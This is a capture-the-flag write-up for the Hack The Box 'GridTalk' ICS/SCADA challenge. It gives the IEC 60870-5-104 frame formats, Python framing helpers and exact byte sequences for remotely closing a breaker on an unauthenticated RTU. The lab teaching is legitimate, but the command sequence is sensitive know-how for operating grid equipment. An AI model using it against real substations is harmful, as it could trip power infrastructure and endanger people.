~ / writeups / gridtalk

GridTalk

Hack The Box · Hard · ICS / SCADA

Hard ICS / SCADA Challenge

Category: ICS/SCADA · IEC 60870-5-104 Difficulty: Hard Result: ✅ Solved — audit ticket recovered


1. Challenge Overview

"Aurora Junction substation speaks IEC 60870-5-104 on TCP/2404 — no auth. A no-load audit test breaker on IOA 1003 is wired to a diagnostic dump; close it and the RTU emits an M_BO_NA_1 ASDU whose bytes decode to the audit ticket."

Targets

Role Address (initial) Address (after restart)
IEC-104 RTU 154.57.164.66:44055 154.57.164.66:36176
Flask HMI 154.57.164.66:39784 154.57.164.66:31323

The scenario was distributed as a password-protected GridTalk.zip; extracting its NOTE.md confirmed the two hosts and the objective.


2. Reconnaissance

2.1 Service identification

36176 → raw TCP, no HTTP banner (curl: "Empty reply from server")   → IEC-104 RTU
31323 → HTTP/1.1 200, Server: Werkzeug/3.1.8 Python/3.11.15         → Flask HMI

2.2 HMI enumeration

GET /api/state (the only endpoint in the HMI's JS) returned:

{
  "breakers": {
    "1001": {"name": "BAY-1 IN-FEED",    "state": true},
    "1002": {"name": "BAY-2 OUT-FEED",   "state": true},
    "1003": {"name": "AUDIT-TEST-1",     "state": false},   ← target, OPEN
    "1004": {"name": "BAY-3 TX-COUPLER", "state": true},
    "1005": {"name": "BAY-4 BUSTIE",     "state": true}
  },
  "connected": true
}

This leaked the common address = 2000 and the target breaker IOA = 1003.

2.3 Tooling gap

No sshpass, pexpect, scapy IEC-104 layer, or any iec104 Python module was available — the entire IEC 60870-5-104 protocol had to be implemented over a raw TCP socket (APCI framing + ASDU encoding) in Python.


3. Protocol Analysis (IEC 60870-5-104)

3.1 Frame format (APCI)

 0x68 | LEN | 4-byte control field | ASDU ...

3.2 ASDU types used

Type ID Name Purpose
1 M_SP_NA_1 single-point (breaker state) telemetry
7 M_BO_NA_1 32-bit bitstring — the diagnostic
11 M_ME_NB_1 scaled measured values
45 C_SC_NA_1 single command (close/open breaker)
100 C_IC_NA_1 general interrogation

3.3 Cause-of-transmission (COT)

COT Meaning
3 spontaneous (unsolicited)
6 activation (our request)
7 activation confirmation
10 activation termination
20 interrogation response

3.4 Command value (SCS) for C_SC_NA_1

bit meaning
bit 7 (0x80) SE — select (1) vs execute (0)
bit 0 (0x01) ON/close (1) vs OFF/open (0)

So: SELECT close = 0x81, EXECUTE close = 0x01.


4. Exploitation

4.1 The full wire sequence (verified on fresh instance)

1. STARTDT_ACT       68 04 07 00 00 00
   ← STARTDT_CON     68 04 0b 00 00 00

2. Interrogation     C_IC_NA_1  (QOI=20)  → enumerate telemetry
   ← M_SP_NA_1       breakers 1001–1005  (1003 = 0 / OPEN)
   ← M_ME_NB_1       measurements 2001–2004
   ← C_IC_NA_1       cot=10 (termination)

3. SELECT close      C_SC_NA_1  ASDU = 2d 01 06 00 d0 07 eb 03 00 81
   ← cot=7  (SCS=0x81)
   ← cot=10 (select terminated)

4. EXECUTE close     C_SC_NA_1  ASDU = 2d 01 06 00 d0 07 eb 03 00 01
   ← cot=7  (SCS=0x01)
   ← M_SP_NA_1  cot=3  ioa=1003 state=1   ← breaker CLOSED
   ← cot=10 (execute terminated)
   ← M_BO_NA_1  cot=3                     ← ★ THE DIAGNOSTIC ★

4.2 The diagnostic frame (decoded)

68 35                         start + LEN=0x35 (53)
12 00 06 00                   control: N(S)=9, N(R)=3
07                            type = 7  (M_BO_NA_1)
88                            VSQ: SQ=1 (sequential), n=8
03 00                         COT = 3 (spontaneous)
d0 07                         CA = 2000
89 13 00                      IOA = 5001
[REDACTED]
                              ^^^ 40-byte bitstring payload (with NUL padding)

4.3 Decode the ticket

The 40-byte payload is the flag with a 0x00 NUL interleaved every 5th byte:

[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]

Strip the NULs:

[REDACTED]

5. Flag

[REDACTED]

("breaker flipped via IEC 104" — a perfect summary of the attack.)


6. Step-by-Step Walkthrough

Step 1 — Identify the services

curl -sS -m 8 -o /dev/null -w "%{http_code} %header{server}\n" http://154.57.164.66:36176/
# → 000  (raw TCP = IEC-104 RTU)

curl -sS -m 8 -o /dev/null -w "%{http_code} %header{server}\n" http://154.57.164.66:31323/
# → 200  Werkzeug/3.1.8 Python/3.11.15  (Flask HMI)

Step 2 — Read the HMI state

curl -sS http://154.57.164.66:31323/api/state
# → breakers 1001-1005; AUDIT-TEST-1 (1003) = false (OPEN)

Step 3 — Implement IEC-104 client (Python)

Core primitives (full script in iec104_final.py):

def ifr(ns, nr, asdu):
    ctrl = bytes([(ns<<1)&0xFE, (ns>>7)&0xFF, (nr<<1)&0xFE, (nr>>7)&0xFF])
    return bytes([0x68, 4+len(asdu)]) + ctrl + asdu

def csc(scs):  # C_SC_NA_1
    return bytes([0x2D, 1, 6, 0, CA&0xFF, (CA>>8)&0xFF,
                  IOA&0xFF, (IOA>>8)&0xFF, (IOA>>16)&0xFF, scs])

def cic(qoi=20):  # C_IC_NA_1
    return bytes([0x64, 1, 6, 0, CA&0xFF, (CA>>8)&0xFF, qoi])

Step 4 — Handshake, interrogate, close the breaker

# STARTDT
sock.sendall(b"\x68\x04\x07\x00\x00\x00")

# enumerate (optional, confirms breaker state)
sock.sendall(ifr(ns, nr, cic(20)))

# SELECT close  → wait for cot=7
sock.sendall(ifr(ns, nr, csc(0x81)))

# EXECUTE close → wait for the M_BO_NA_1 diagnostic
sock.sendall(ifr(ns, nr, csc(0x01)))

Step 5 — Parse & decode the diagnostic

For every M_BO_NA_1 (type 7) frame, read the ASDU info field (IOA + 4-byte bitstring chunks), concatenate all chunks, strip 0x00, and print.


7. Key Techniques & Pitfalls

# Technique / Pitfall Impact
1 N(R) receive-sequence tracking — you MUST echo the peer's N(S)+1 in every frame you send. A stale N(R) makes the RTU silently ignore your command. Cost 3 iterations (v3→v6)
2 M_BO_NA_1 sequential (SQ=1) addressing — only the first object carries an IOA; the rest are bare 4-byte bitstrings. Would mis-decode the ticket
3 One-time canary diagnostic — the ticket is emitted exactly once per instance, on the first breaker close. No reset endpoint, no reset-process command, no interrogation group recovers it. Required a full instance restart
4 Buffered reader truncation — sock.recv(n) can return fewer than n bytes; a naive reader truncated the 55-byte diagnostic frame. Missed the flag on attempt #1
5 VSQ n vs actual byte count — the VSQ declared n=8 but the frame carried 10 chunks; trust the frame length field, not n. Avoided truncating the ticket

8. Artifacts

File Purpose
iec104_final.py Final working IEC-104 client (handshake → interrogate → close → decode)
NOTE.md Extracted scenario note (objective + hosts)
hmi.html HMI index (revealed /api/state)

9. Flag (final)

[REDACTED]
← all writeups